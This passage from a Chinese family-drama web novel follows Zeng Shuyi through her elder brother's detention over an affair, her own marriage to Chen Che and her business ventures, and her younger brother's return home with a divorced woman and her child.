王娟整个人都是懵的,直到曾舒仪再次提到女儿,才用力摇头,“我不离婚,让向平和那个女人断了就好,只要他们断了,我就不离婚。” 她咬紧牙关,嘴唇都咬破了,她一定不能离婚。 既然王娟都说不离婚,田小花他们也就没有东西可以威胁曾庆良要钱,转而指责曾庆良不会教育儿子。 “亲家,你说说你,你怎么教养儿子的。好好一个大学生,竟然跑去和女老师搞破鞋,现在被人抓奸在床,我说有这种女婿,我都丢人。”田小花气得跺脚。 王志刚要不到好处,这会一句话都不想说,狠狠地瞪着曾庆良。 林家珍自知理亏,大气都不敢喘,由着这些人骂。 曾舒仪自然不会帮她爸说话,而是去找警察,询问现在什么情况。 “你大哥和齐家人打架,至少要被拘留十五天。” “他会不会被判刑?”曾舒仪问。 “就目前情况来看不会,因为是双方自愿,并不存在强迫关系,而且打架也没太严重,还是对方先动手。” “啊,那真是太可惜了。”曾舒仪啧啧了两声,她还以为可以判个好几年。 她回去找到她爸,“回去吧,人警察说了要拘留,我们在这里也没用。” “不用管你大哥了?”曾庆良问。 “管他做什么?他自己干的事,就该他在这里受苦。”曾舒仪直接道,“你在这里也没用,干等着十五天啊?” 曾庆良叹了口气,想去喊儿媳,又开不了口。 还是曾舒仪过去,喊她大嫂回家。 王娟不想回去,但是又去不了娘家,只能跟着回去。 王家人看曾家人都要走了,他们没办法,只好也回去。 不过到警局门口,齐家人把曾庆良几个拦住。 “你们家儿子,把我嫂子睡了,是不是该给个说法?”齐进步长得很高,他一张开手,曾庆良都有些怵。 曾舒仪却不在怕,这里是派出所门口,又不是别地方,“那我问你,你嫂子和我大哥,是你情我愿的吧?” 齐进步不说话了,眯着眼睛看曾舒仪,刚才他听曾舒仪怼王家人就注意到了,这姑娘脾气爆得很,还特别能说。 “不管怎么样,你们不能这样走了,我哥也被拘留了。他被带了绿帽子,打你大哥是应该的,凭什么把他也拘留?”齐进步要曾舒仪他们去警局,“你们和警察说,你们愿意和解,让他们把我大哥放了。” 曾庆良看到儿子被打得样子,下意识说了句,“凭什么?我儿子被打成猪头,就算他有错,也不能下这样狠手啊!” “那是他活该!”齐进步吼道。 “小兄弟,我知道是我大哥活该,但是拘留你大哥的是警察,他们说了,是因为你大哥先动手,这才拘留他。” 曾舒仪道,“还有我大哥和你嫂子的事,我们现在只知道他们是自愿,如果你非要个说法也可以。等他们都被放出来,大家伙一块坐下,说说谁勾引的谁,又是谁主动第一次,还有他们一共睡了几次,你看可以吗?” 齐进步刷地红了脸,“你……你一个姑娘家,怎么能……能说出这样的话?” “那不然你让我说什么?”曾舒仪无语了,“我又不是当事人,也不知道他们具体来往多久。你要聊这个事,我也愿意聊,但是得当事人出来了,才能聊吧?” “至于你哥的事,这是派出所要拘留,由不得我们说了算。爸,大嫂,我们走吧。” 看着曾家人就这么走了,齐进步傻愣住,他竟然说不过一个小姑娘? 曾舒仪走得飞快,大晚上的遇到这种事,也是够操心的。 快到家时,曾舒仪不忘提醒大嫂,“妈没有和玉玲说大哥的事,要不要说,是你的自由。” “舒仪,你……”王娟这时候心里有怨,也有恨,还有不知所措和害怕,“你能不能和我说说,我该怎么办?” 曾舒仪上下扫了眼大嫂,“你想怎么办就怎么办啊,大嫂,这次的事你占理。我大哥出了这种事,肯定会被学校退学,眼看着还有半年毕业,现在毕业证也拿不到,更别说分配工作。棉纺厂也回不去了,以后找工作还成问题,这样的男人,你如果和他离婚,我真会对你竖大拇指。” “问题是,你想不想离婚?” “舒仪,你说什么呢?”曾庆良赶忙阻止,同时四周看看,就怕有什么邻居。 “我说的心里话。”曾舒仪看她大嫂说不出话来,就知道大嫂不想离婚,“行了,还有十五天给你们考虑呢,自己想吧。” 曾庆良看女儿要走,又道,“那么晚了,你别回去了,在家里住吧?” 曾舒仪摆摆手说不了,“我怕明天看到你们,就想骂人。” 折腾她一晚上,原来是这种事。 曾舒仪骑着三轮车回去,刚把三轮车挺稳,就遇到了同样刚下班的于美兰。 “于阿姨,你们那么迟下班的啊?”曾舒仪没有手表,但估摸着,这会有九点多了。 “没办法,高三课业重,现在加了晚自习,我得留在学校给学生讲解问题。”于美兰有些话想和曾舒仪说,但是想了想,又给咽回去,“舒仪,你今天怎么也那么迟?” “我回家了一趟。” “原来是这样。”于美兰若有所思,“对了,明天过来吃饭吧,我亲戚送了一条大鲳鱼来,陈澈和他爸不在家,我一个人吃不完。” 最近两个月,于美兰经常喊曾舒仪吃饭,一开始曾舒仪客气拒绝,后来想着都是邻居,于美兰又常常一个人在家,她也是一个人,便答应去吃饭。 不过她也会喊于美兰过来,两个人这段日子,关系又更亲近一些。 曾舒仪笑着说了好,“那您早点休息,我们明天见。” “嗯好,你记得关好门,最近有小偷,夜里门一定要反锁。”于美兰听同事说的,虽然没偷到教师公寓来,但她还是多提醒两句。 曾舒仪心想于美兰人真不错,温和讲理,如果她真的和陈澈结果,有这个婆婆也蛮好的。 而且听陈澈说起他们家氛围,爸爸妈妈感情不错,家里的事也是有商有量,这种感觉就是曾舒仪喜欢的。 第二天一早,曾舒仪就去买了一斤橙子,吃饭的时候带去给于美兰。 于美兰没有夸张,鲳鱼真的特别大,有曾舒仪四个八张大,一半拿来清蒸,还有一般做香煎。 她还炒了一碗小白菜,“快吃吧,鲳鱼就要趁新鲜吃才好吃。我亲戚住渔村,他们家买了渔船,自己出海打鱼。马上过年了,你有没有想吃的海鲜,我到时候帮你带?” 榕城靠海,本地人都爱吃海鲜,曾舒仪说想吃虾,“我每次去菜市场都碰不到好时候,剩下的虾都没啥活力。如果可以,我想买几斤虾,如果有带鱼和鱿鱼也可以,还有一些干货。” 她现在挣了钱,想吃什么就买来吃,而且过年了,家里也要拿东西去,再给二姐分一点。 于美兰笑着说好,吃过饭就去给渔村打电话了,对曾舒仪的话特别上心。 接下来的日子,对曾舒仪来说很忙碌,年底了,来百货大楼的人更多了。 她买的铺面也租了出去,一个月十五块钱,虽然比起她做生意的不多,但也是一份收入,用来买米买油够她吃的。 眼凑着十五天过去,曾庆良一大早就来找曾舒仪,“你跟我一块去派出所。” “干嘛非要我去?”曾舒仪不想去接大哥。 “不是你说了,要说事也得当事人出来说。你自己放的话,你现在不去,让我一个人面对齐家啊?” “得得得,你就是欺软怕硬。看到齐家都是年轻男人,知道自己说不过,也打不过,非要拉上我。怎么样,现在觉得女儿有用了吧?”曾舒仪阴阳道。 曾庆良不吭声,曾舒仪就不动,直到曾庆良“嗯”了一声,曾舒仪才关了门一块去派出所。 十五天的时间,曾向平瘦了一大圈,眼底黑青,人都没精神。 他刚走出派出所,齐进步不知从哪窜出来,飞踢过去,把曾向平给踹飞了有两米。还是他哥齐解放抱住他,他才没冲过去。 曾庆良:“你干什么呢,这里还是派出所门口,你小子也想被拘留了吧?” “拘留就拘留,打死这个畜生,拘留我多久都可以!”只是踹曾向平一脚,齐进步根本不解气,大哥好好的一个家,就被曾向平给搅散了。 “进步!”齐解放也被拘留十五天,他这些日子,同样睡不着,“别闹了,多少人看着呢,你还嫌事不够多吗?” 说完他回头看了眼站在台阶上不动的女人,面无表情道,“走吧,咱们去把离婚证领了。” 第47章 女人站着不动, 齐解放没了耐心,“怎么,到了这会不想离了?” 吴巧妹喊了一声“解放”, 齐解放却骂恶心。 “那你就站在这里丢人,我去喊你爸妈来。”齐解放说他一定要离婚,“孩子归我,存款一人一半,你自己干了这种人, 丢人丢到学校里, 以后我们就当不认识。” 夫妻那么多年,有过争吵,也有过甜蜜时候,齐解放被伤透了心。 再去看曾庆良几个人, 齐解放道,“以后别再让我看到曾向平,不然我还是会揍他!” 说完, 他拽走了弟弟,没什么好说的了, 至于谁勾引的谁,谁先主动,那都不重要。 曾舒仪看齐解放就这么走了, 心里松了一口气,省得自己多费口舌。 见大哥去看台阶上的女人,曾舒仪嗤道, “怎么,不舍得了?” 曾向平握紧拳头,瞪了曾舒仪一眼, 转身跑了。 “向平!”曾庆良在后面追儿子。 曾舒仪打算离开时,吴巧妹喊住她,“你是向平的妹妹吧,你能不能帮我和你大哥说一声,如果他愿意离婚,我可以和他好。” “帮你带个话可以,不过我大哥这个人,向来讲究权衡利弊。现在你们被抓,你肯定要丢了工作,他和你只是一时新鲜,以后他自己没工作,你也没有,他不会选择你的。”曾舒仪很了解大哥,就算大哥不爱大嫂了,但在现在的情况下,大哥会选大嫂,而不是吴巧妹。 曾舒仪回家时,听到大嫂在屋里砸东西,曾舒仪把吴巧妹的话和爸妈说了,“现在人出来了,学肯定不能上了,后面的事你们自己想吧,我不会管大哥的。” 还没等她爸开口,曾舒仪先拒绝。 “可他是你大哥啊,现在全家,就你最有本事。你得帮他把日子过下去。”曾庆良道,“大家都是一家人,你帮帮他不行吗?” 曾舒仪冷漠道,“爸,如果当年你让我复读,我肯定不会干出这种事。你那么看重儿子,我也相信你有办法给我大哥找到工作。” 她才不愿意管大哥,说完就走了。 曾庆良被怼得胸口憋了一口气,听屋里还在吵,过去用力拍门,“吵什么吵,都给我消停点,过不下去就别过了,还嫌不够丢人吗?” 屋内瞬间安静。 王娟坐在床沿捂嘴哭,曾向平给她跪下,“小娟,你原谅我这次,我以后一定好好对你。你想想玉玲,她还那么小,不能没有爸啊。” 王娟捶了曾向平好几拳,是啊,女儿还那么小,她离婚了也嫁不了好男人,日子还得过。 往后没两日,学校对曾向平和吴巧妹的处分都下来了,一个被退学,还一个被辞退。 拿不到大学毕业证,曾向平前面三年半都白读了,工作还丢了。 巷子里的人不知道他被退学的事,只当他放寒假回来,还会问他以后会分配去哪里。 曾向平知道纸包不住火,每天都哄着王娟,又讨好他爸,想让他爸给他找个新活。 过完年,曾庆良还是厚着脸皮,去出租车队找关系,给曾向平找了个师傅学开车。 不然曾向平这个成分,不可能进工厂,也找不到其他单位,只能干这个了。 学车的事刚定下来,曾向平两口子就搬走了。 在曾向平的折腾下,他们把棉纺厂的房子卖了,在更远的地方买了一套差不多大的房子。 他现在处处让着王娟,也体贴多了,一家子搬到新家后,日子倒也能过。 而曾庆良老两口,守着空荡荡的房子,以前一大家子住不下,现在就剩他们两口子,每天的日子都觉得没啥意思。 他们这才把注意力,放到了两个女儿身上。 这天老两口想去看看二女儿住的地方,两个人提着苹果,到了出租房门口,看着狭窄的过道,林家珍忍不住叹气,“舒月这日子,怎么过的?” 曾庆良敲门,过了好久,都没人开门,“不应该啊,这个时候,何东和胜男应该在家。” 林家珍也往窗户里面去看,这时门才小心翼翼地开了一条缝,何胜男露出一只眼睛,确认是外公外婆这才开门。 “胜男你在家怎么不早点开门?”曾庆良有点责备的意思。 何胜男小声说,“我爸去码头干活了,他交代了我,让我不要随便开门。我是听到您声音,才敢开门。” “啥?你爸妈让你一个人在家?”曾庆良瞪大了眼睛,推门进去,看到房间里没有其他人,当即黑了脸,“你爸啥时候去码头?” “年前就去了。”何胜男说,“但是爸爸会给我留下吃的,我也可以自己去上学,每隔两三天,他就会回来一趟。” “那也不成啊!”林家珍看着还是小孩的外孙女,“你那么小,让你一个人在家,吃的还是冷菜冷饭,万一遇到坏人怎么办?你爸想挣钱,可以把你送到外婆家啊。” 想到有几个月是这样的日子,林家珍就心慌。 曾庆良脸色也不好看,“走,跟我们回去。我倒要看看,你爸回来后着不着急!” 林家珍说留个字条,曾庆良不让,让外孙女收拾收拾,就把人给带走了。 过了两天,何东回家没看到女儿,问了邻居得知是被两个老人家带走,赶忙跑去岳父岳母家,看到女儿后,才松口气。 曾庆良当即骂道,“你就是这么当爸的吗?你要去挣钱可以,但你可以把胜男给我们送来啊,你让她一个人在家,冬天还那么冷,你就不怕出点事?” 这次林家珍也觉得何东不对,“何东啊,小孩子这个年纪都是贪玩的,要是弄个火,或者和人去哪里玩,光是想想都害怕。” 何东被训得说不出话来。 “我问你,这事舒月知道吗?”曾庆良问。 何东摇摇头。 “死丫头就知道挣钱,还能让你瞒住了?”曾庆良没好气道。 林家珍出来打圆场,“好了,你别说何东了。何东,妈知道你想挣钱,这是好的,以后就把胜男放这里吧,等你哪天不在码头干了,再接走。” 何东想不到拒绝的理由,只能答应了。 曾庆良知道何东的小心思,就是不想靠他们,免得又被人说闲话。 这话他忍住了,让林家珍去炒两个菜,留何东吃个饭。 家里多了个外孙女,曾庆良两口子的日子又有点生机,还是曾舒仪回家时,才知道这个事。 她和赵磊又打算开分店,不过这次本钱不会太大,就开在小学门口,卖卖文具。 这次过来,曾舒仪打算和家里借点钱,因为她手里的钱不够了。 一听到借钱,曾庆良就皱眉,“你现在不是很厉害,挣很多钱吗,干嘛又要借钱?” “爸,我不白借你的,按利息给你。”曾舒仪道,“我和磊哥打算做文具生意,先开店,后面再办工厂。” 他们做的小百货生意,也有其他人开始做了,思来想去,两个人打算自己生产货物,做自己的品牌。 “好家伙,你还办工厂?”曾庆良笑了起来,“我说舒仪,咱们别想那么多,你守着你现在的摊位不好吗?到时候赔了钱,好不容易买的房子都要卖了。” 他觉得开工厂不靠谱,这玩意很容易亏钱,“我们厂的工资都快发不出来了,国营厂都这样,更别说私营。” 林家珍也觉得办工厂风险太大,“舒仪,你再想想清楚,算了吧,还是稳稳的比较好。” “妈,你还记得我们一起去向民老板家里吗?”曾舒仪有好几次做梦,都梦到那个大别墅,“就是去了深圳,我才知道人还可以那么有钱。我也想过那种好日子,但是现在租个摊位,收点租金,不可能过这种日子。” “你们不借也没事,我就来说一声。” “诶,你这丫头,怎么翻脸就走啊!”曾庆良看女儿要走,他急了,“话都说不了两句,你这性格也不知道像谁?我不借给你,你是不是打算和别人借?” 曾舒仪打算去找白多多。 “得了,孩子就是上辈子的债,我借给你还不成吗?”曾庆良愿意借钱,是觉得大儿子废了,现在家里最有本事的是三女儿。往后家里有个什么事,还得指望三女儿帮忙。 加上他以前偏心,现在得拉点好感。 曾舒仪从家里借了一千块,和赵磊一块把市一中对面的一个小铺子给买了下来。 商场那里的摊位,他们雇了人,现在这个文具店,就由曾舒仪和赵磊一起看。 日子过得很快,转眼间又过去一个多月,到了陈澈回来的日子。 这天曾舒仪早早起来了,听到院子里于美兰说要去接儿子,她忙出去假装晾衣服。 “于阿姨,你这是要出门啊?” 于美兰看着曾舒仪,笑盈盈的,“是啊,我儿子要回来了。舒仪,明天来吃饭哈。” 曾舒仪以为是普通吃饭,笑着说好。 等于美兰夫妇出了院子,他男人不解地问,“明天是家里聚会,你喊舒仪做什么?” “你个笨蛋,我不是和你说过,小澈有次给舒仪寄信,不小心被邮递员送到我这里来了。你想想,什么样的情况,会让小澈给舒仪寄信,说明两个人好上了呗!”于美兰憋着这个秘密好久,她一直想问曾舒仪是不是真的,但又不敢问,万一搅黄了儿子的好事,她多对不起儿子啊。 陈铭还真忘了这个事,“万一只是普通来往,你白开心了。” “哼,我的直觉不会错的。”于美兰就觉得儿子和曾舒仪好上了,“你就等着给儿子办喜酒吧!” 第48章 这天傍晚, 曾舒仪见到了陈澈,两年没见,青涩的男人变得更成熟。 两人极力克制着打招呼, 过了会,陈澈提着一盒点心过来,“这是我带给你吃的。” 院子里,曾舒仪左右看了看,确认没其他人看到后, 抱了下陈澈。 一瞬间, 陈澈红了脸。 “我给你倒杯茶。”曾舒仪进屋,有许多话要说,陈澈却只能坐一会儿,因为他爸妈都在家。 “舒仪, 不然我们和爸妈公开,明天你不是要去我家吃饭么,到时候我家所有亲戚都会来。”陈澈道。 “什么, 不是家常便饭?”曾舒仪以为只有陈澈一家人。 “不是的,是我全家, 我姑姑他们所有人都会来。”陈澈每一天都很想曾舒仪,“舒仪,和我结婚好不好, 我们一起过日子。” 他突然掏出一枚戒指,这是他准备好的,“你愿意嫁给我吗?” “啊?” 曾舒仪被突如其来的求婚, 弄得有点懵,一时半会还在愣神。 等确认眼前真的是陈澈之后,她想了想, 答应了下来。她这两年也遇到很多男人,很多人比较复杂,她自己做生意,就想要简单纯粹一点的男人,然后长得好看。 这些条件,陈澈都满足。 第二天,曾舒仪跟着陈澈一家去饭店时,心里特别紧张。 于美兰则是笑眯眯地看着两个小的,等马淑芬看到曾舒仪时,还很意外。 “舒仪,你也来了啊,快快快,你跟我来。”马淑芬拉着曾舒仪到孙子跟前,“小澈,这就是我说过的舒仪,你们肯定见过了,怎么样,很漂亮吧?” “嗯,很漂亮。” “舒仪可能干了,你好不容易回来了,个人问题得抓紧。”马淑芬意有所指。 曾舒仪是脸颊滚烫,感觉好多目光投过来,而且还是她不认识的人。 还好这时于美兰过来了,悄悄在马淑芬耳边说了两句,马淑芬惊讶道,“啥?你们早就在一起,还要结婚了?” 结婚两个字引起陈家其他人兴趣。 “小澈,这是你对象吗?好漂亮啊,你们谈多久了?” “哎呦喂,这下你奶奶不用着急了,原来你已经有对象了。” “恭喜恭喜啊,姑娘你是哪里人,干什么工作?” …… 一连串得问题,曾舒仪一下都没反应过来,干脆装害羞不说话了。 一顿饭下来,陈澈喝醉了。 曾舒仪跟着送到陈家,于美兰叫住了她,“舒仪,你看看什么时候,我们去拜访下你爸妈?” 曾舒仪说都行。 “不能都行的,我们得郑重点。”于美兰笑呵呵地道,“这是双喜临门啊,小澈回来了,还要结婚。这样吧,你明天先带小澈回去西塘,后天也可以。” 不是她心急,实在是同龄人都抱孙子了,就她还没有。好不容易儿子有对象,她又很满意,得抓紧点。 曾舒仪也不想拖,直接回家一趟,说明天带对象回家。 曾庆良两口子都很惊讶,特别是林家珍,“你啥时候谈对象,什么样的对象,你怎么没和家里说一声?” “哎呀,明天你们就知道了。”曾舒仪没多说。 她第二天直接把陈澈领回家。 曾庆良两口子一看到陈澈,特别是得知陈澈刚留学回来,曾庆良的眼睛都在冒光。 “快坐快坐,来就来,那么客气干什么?”曾庆良眼睛都没从陈澈身上挪开,“长得真不错啊,还年轻有为,应该早点来的。你都不知道,舒仪她妈为了她结婚的事,每天着急上火。” “是我不对,我应该早点过来。”陈澈主动给曾庆良倒茶。 这时曾舒月两口子也来了,昨天林家珍特意去通知的。 前后脚的功夫,曾向平一家三口也到了。 人一多,客厅就显得有些拥挤。 曾向平一开始还在打量陈澈,但听说陈澈是机械厂派出去留学的,他就不想在家待,牵着女儿出去了。 王娟心里有点酸,“舒仪啊,你谈了那么好的对象,怎么不早点和家里说?还有陈澈,你知道我们家情况吧?” 陈澈刚说知道,曾庆良就瞪了过去,“向平媳妇,你要是闲得慌,去厨房帮你妈。” 王娟以前可没有这样被指使过,当即甩了脸色想走人,结果到门口遇到了刘喜旺。 “哎呀,是王娟啊,咱们有好久没见了。”刘喜旺听说曾向平出了事,但不知道具体是什么事,“听说你们把棉纺厂分的房子卖了,怎么回事,要换那么远去住,你上下班不麻烦吗?” 王娟讪讪道,“都是为了向平方便,而且我上班有自行车,不麻烦。” “原来是这样,向平大学毕业了吧,分配到哪个单位?”刘喜旺每次和曾庆良说这个,曾庆良就不说话。他直觉这里面有事。 王娟打马虎眼说还没有安排,又灰溜溜回去。 很快曾向平也回来了,因为这一带的熟人太多。 之前他考上大学,曾家放鞭炮,还送鸭蛋给邻居,弄得所有人都知道他考上大学。但是现在,邻居们还不知道他被退学。 曾向平面子上挂不住,心想以后不回来了。 屋里的曾庆良对陈澈非常热情,都忽略了大儿子和大儿媳又回来,拉着陈澈问,是不是要升官了,以后一个月有多少工资啊,等等。 陈澈老实回答,曾舒仪就在一旁看着。 有曾舒仪在,这顿饭倒是吃得很不错。送走陈澈后,曾庆良两口子拉着曾舒仪说话。 “舒仪,你年纪不小了,遇到这么好的。赶紧结婚。”林家珍怕女儿错过了。 曾庆良也同意,“是啊,你先结婚,工作上的事又不着急。你那个工作,多雇一个人去就好。” “知道了,你们比我还着急。”曾舒仪笑道。 和曾庆良两夫妻一样着急的,还有陈家人,在双方的催促下,曾舒仪和陈澈都没拖,七月领证办了酒。 陈澈升了技术主任,厂里给分了房子,和曾舒仪现在住的一样,都是两室一厅。 曾舒仪想了想,先没有换房子,两边房子差别不大,倒不如以后再换个大的。 生活里多了一个人,曾舒仪一开始还不太适应,她上下午班时,就会多睡一会,但陈澈每天七点半要出门。 轮到她要去早开店,六点半就得出门。 两个人慢慢的,谁早起来就谁做早饭,另一个人继续睡。 又过了三个月,曾舒仪怀孕了,陈澈却很忙,厂里要技术革新,每天都是早出晚归。 她是第一次怀孕,很多东西都不懂,她妈妈就每天过来帮忙做饭,洗衣服。 “舒仪啊,我说你那个店,先别看了。”林家珍在院子里晾衣服,“我听说,你们选好工厂地址了?” “是啊妈,磊哥办事靠谱,他说干就干。”曾舒仪坐在院子里吃橘子,“你就放心吧,我现在不去看店,每天就去看看情况。有时候要打款什么的,需要我去干。” 赵磊专门负责工厂的事,所以摊位和店面都是曾舒仪在管。 林家珍还是不放心。 “我是怀孕了,又不是走不动,不挣钱,哪里有钱花嘛?”曾舒仪还想买大别墅呢。 “钱又挣不完,女婿的工资够高了,我听说比你爸都要高,你干嘛急着挣那么多钱?”林家珍觉得钱够用就行。 曾舒仪却不这样觉得,“你女婿拿的是死工资,他的钱可以算得到的。我这辈子不住上向民老板的大别墅,我是不会躺平的。” 陈澈现在一个月有两百六十块,这个工资确实很高,足够曾舒仪吃好喝好,但光是吃吃喝喝,并不能满足曾舒仪的需求。 林家珍拿曾舒仪没办法,看到亲家母提着鱼进来,忙过去接。 “不用,我来就好。”于美兰知道儿子忙,怕儿媳妇心里不开心,“我今年不教书了,我和主任说我需要休息一年,他让我去管图书馆。图书馆工作特别轻松,可以提前下班,也不用加班。亲家母,这段时间辛苦你了,接下来我照顾舒仪就行。” 林家珍去看女儿,见女儿微微点头,客气地道,“没什么麻烦不麻烦,自己的女儿,也该我来照顾。不过舒仪和你们挨着住,有你们照顾,肯定更方便。” 于美兰说是,“今天就让亲家母你尝尝我的手艺,舒仪,我家里有你公公拿回来的酥油饼,你去拿过来吃。” 她说着进了厨房。 曾舒仪拿了酥油饼过来,装出一部分,“这些你带回去给胜男他们尝尝,既然我婆婆这样说,明天就别过来了。每天跑过来,我爸肯定一肚子怨气,还辛苦你两边做饭。” “瞎说什么,你爸高兴得很,他现在逢人就吹牛自己女婿多厉害。”林家珍小声道,“不过女婿太辛苦了也不好,再怎么忙,也要注意身体。” 曾舒仪点头说是,其实她挣得钱比陈澈多多了,但每个人都需要有自己的事做,不然这日子,没有盼头。 七个半月后,曾舒仪生下一个儿子,取名陈云凌。 她和赵磊的工厂也办起来了,曾舒仪出了月子就去跑生意,把孩子交给婆婆和妈妈带。 一直到1988年八月,工厂开始推行停薪留职,棉纺厂年初就下岗一批人,现在轮到了机械厂。 时不时就有人找到曾舒仪家里,送礼求情,各种各样的都有。 曾舒仪不想每天忙碌回家,还要应对机械厂那些工人,正好城南开发了一个别墅区,曾舒仪当即卖了机械厂的房子,买下三层的独栋别墅。 到八九年年底,曾舒仪才搬进别墅里住,这一年,曾向民也回来了,还带回来一个女人和孩子。 孩子不是曾向民的,曾庆良一听儿子要给人当后爸,当场晕了过去。 第49章 曾舒仪刚到病房门口, 就听到她爸在骂人。 “让那臭小子滚蛋,他奶奶的猪油蒙了心,他是真有本事啊, 竟然给人当后爸,这要说出去,我们老曾家不得被人笑话死!”曾庆良用手推着林家珍,“你现在就去找曾向民,他要是不把人赶走, 我就不认他这个儿子!” 病房里还有其他人, 听到这话,纷纷看过来。有看热闹的,立马问,“大哥, 你儿子多大了?找了个离婚的吗?” “离婚的可不行,还是想一想吧?” “是啊,如果自己没结过婚, 还是找头婚的比较好。” …… 曾庆良刚刚只想发火,没想到会被病房里的人听到, 这下住不下去,要出院。 林家珍没办法,只好给曾庆良办出院。 不过曾庆良不回家, 正好曾舒仪来了,他让曾舒仪把他接回去。 曾舒仪说不接,“再怎么样, 你都要面对的。” “你个死丫头,我是你爸,就算是平常去你家住几天都不可以吗?”曾庆良坐在医院门口, 说什么都不回家。 “平常可以,你现在过去,就是吵吵闹闹,我不乐意伺候。”曾舒仪对她爸,都是那么直接,“你可以上大哥家去,他不是刚买了新房子。” 曾向平开出租车后,收入还不错,又换了一套大点的房子。 不过棉纺厂在搞停薪留职,王娟最近的日子不太好过。 但曾庆良不想去大儿子那,以前都说大儿子好,儿子才有用,他越上年纪,越发现女儿才比较贴心。 想了想,他去了二女儿那。 曾舒月去年买了房,这是在曾舒仪强烈建议下才买的。曾舒仪说他们一家要有自己的户口,而且钱越来越不值钱,不如买个房子。 而且何东老家也来了一些人,跟着何东在码头干活,何东是有抽成的,这两年也挣了一点钱。 曾舒仪陪着姐姐看了好几套房子,最后买下一套三居室,带院子的民宅。 他们到何家时,曾舒月正好在家。 得知爸妈要住下,曾舒月自然没问题,又听到弟弟的事,同样操心,“向民怎么看上个有孩子的?” 曾舒仪摇摇头,“我还没见到。” “这小子,从小不让人省心。”曾舒月去看她爸妈,“爸妈,你们安心住着,向民那里我去说。” “你让他们分手,不然我不回去!”曾庆良强调。 曾舒月给做了饭,安排好爸妈住的,就拉着妹妹一块回家去。 “姐,我不想管。”曾舒仪说,“向民都大了,又不是十五六岁的时候。” “那你做姐姐的,也该去看看。”曾舒月还是带着妹妹回去。 此时的曾向民,正在家里收拾。 他边上站了个烫羊毛卷,衣着很时兴的女人,“向民,我们是不是该去医院看看你爸?” “回头我自己去,他就是这个臭脾气,我三姐也和他处不好。”曾向民把床单被褥都铺好,“玉娇你别担心,我肯定会娶你。” 林玉娇叹了口气,“我来帮你。” 他们刚收拾好,曾舒仪两个人就进来了。 姐妹俩都在看林玉娇,林玉娇知道是曾向民的两个姐姐,局促地打招呼。 “二姐三姐,你们来了啊,这是玉娇,我媳妇!”曾向民主动介绍。 曾舒仪伸出手,“我是三姐,这是二姐,坐吧。向民,你去给我们倒茶,妈的柜子里有桂花茶,也让玉娇尝尝我们榕城的特产。” “行,那你们先坐。”曾向民去烧茶。 曾舒月迫不及待地问,“姑娘你多大了,哪里人?” “我和向民一样大,是广东那边的人。”林玉娇这会不紧张了,更大的场面都见过,这会看曾家姐妹态度都还好,慢慢放松下来。 “你别怪我说话直,你和你前头那个,怎么分开的?”曾舒月很多问题。 提到这个,林玉娇的面上闪过一丝尴尬,顿住没说话了。 曾舒仪看出一些事来,开口道,“二姐,咱们第一次见呢,待会向民出来,要说我们欺负人了。” 她打了个圆场,见林玉娇和自己笑,她也笑了下。 曾舒月却是坐不住,到厨房去找弟弟问怎么回事。 而曾舒仪发现林玉娇一直在看自己,“怎么,我脸上有东西吗?” “向民和我提得最多的就是三姐你,他说你漂亮能干,而且和家里人都不一样。你肯定是最能接受的一个。”林玉娇道。 “那也不一定,我能接受我弟弟找有孩子的,但我得看人。” 曾舒仪见弟弟端来茶,心想这小子真着急,“玉娇啊,你也知道了,我爸妈是不太同意这门婚事的。我并不在意我爸多生气,但我不想让我妈难过,你要和我弟弟处可以,但是你得让我们知道你的底细。对你有了解,才能接受你,你说是不?” “三姐,玉娇真的是个很好的人。她在深圳帮了我很多忙,这次我们回榕城,打算自己创业,不再回去了。”曾向民抢话道。 “曾向民,我在和人玉娇说话,你急什么?”曾舒仪还是笑盈盈的。 这会的林玉娇才意识到,曾舒仪看着好语气,实际却更厉害。 “我知道的三姐。”林玉娇深吸一口气,她看了曾向民一眼,“我前夫以前也是开公司的,但是破产前,和我说转移财产,就和我离婚了。结果他骗了我,带着情人跑去国外了。后来我带着孩子遇到向民,就认识了。” “我知道向民没孩子,也没结过婚,但你也说了,你是看人的。我愿意日久见人心。” 曾舒仪微微抬眉,“行,那你们先休息。二姐,我们回去吧。还有你向民,爸妈那里,你多跑跑,不管怎么说,把人接回来才好。” 曾向民点头说好,“我这就和你们去接人。” 曾舒仪没意见,她回自己家。曾向民走之前,特意交代林玉娇在家待着。 林玉娇却有些不安,“向民,我那样说真的可以吗?” “可以的,你不说,我不说,他们怎么会知道你以前的过往?”曾向民道,“而且你也没说错,确实是老板破产抛弃了你。” 林玉娇是曾向民老板的情人,本来这些年,曾向民跟着老板越混越好,不仅买房买车,手里还存了钱。 但他老板突然跑路,留下一堆债务,曾向民还被叫去警察局问了几次。而林玉娇住的房子被法院收走,她和孩子无处可去,曾向民想着老板对他不错,就把他们母子暂时接了过去。 曾向民想着,总能再联系上老板,结果他们被老板朋友告知,老板的公司负债有十个亿。 十个亿是什么概念? 曾向民想都不敢想。 但他和林玉娇都清楚,老板不可能再回来。 两个人住在一个屋檐下,加上林玉娇性格温柔,慢慢地处出感情来。 曾向民在深圳一直没找到新工作,有一些找他的,但他看不上。 有过很好的,就看不上一般的。 思来想去,曾向民也想和林玉娇结婚,就卖了车子,带林玉娇母子回榕城。 他是榕城人,还是想回榕城发展。 “那你好好和你爸妈说,不要和他们顶嘴。”林玉娇听到屋里儿子在找妈妈,应该是睡醒了,“向民,实在不行,我就回深圳去,我不想拖累你。” “说什么傻话,你都没家人了,我会让你们母子过上好日子的!”曾向民拍拍林玉娇胳膊。 去二姐家路上,曾向民才有些怂,“二姐,爸待会要打我时,你帮我拦着点。” “我不拦,你要是怕,就不该和人好。”曾舒月也不满意林玉娇这个弟妹,看着挺漂亮,但也就只有漂亮了。 曾向民想着到了二姐家,肯定腥风血雨,一路上都在深呼吸。 曾舒月也有些怕待会打起来,快到家时,特意交代,“爸骂你时不要顶嘴,爸年纪大了,不是以前了。” 曾向民说知道。 两个人到院门口,还没推门进去,就听到里面很热闹。 “二姐,你家来亲戚了?”曾向民问。 曾舒月微微皱眉,听声音,像是她公婆来了。 等他们推门进去,就看到一屋子的人。不仅曾舒月公婆来了,还有何东的侄儿侄女。 而何东带着人去码头,家里就剩下何胜男,看看外公外婆,又看看爷爷奶奶。 “爸妈,你们怎么来了?”曾舒月不解地看过去。 杨彩妹当即瞪了过来,“怎么,我来我儿子家,还不能来了?” 她高高兴兴地来,结果听孙女说曾家两口子要住这里,当即火大。这是她儿子买的房子,凭啥让曾家两口子住? 而曾庆良和林家珍,也是第一次见何家人。这么多年,两家人一直没见过。 曾庆良本身就在火气上,听何家两口子阴阳怪气,要不是女儿回来了,他差点就要骂人了。 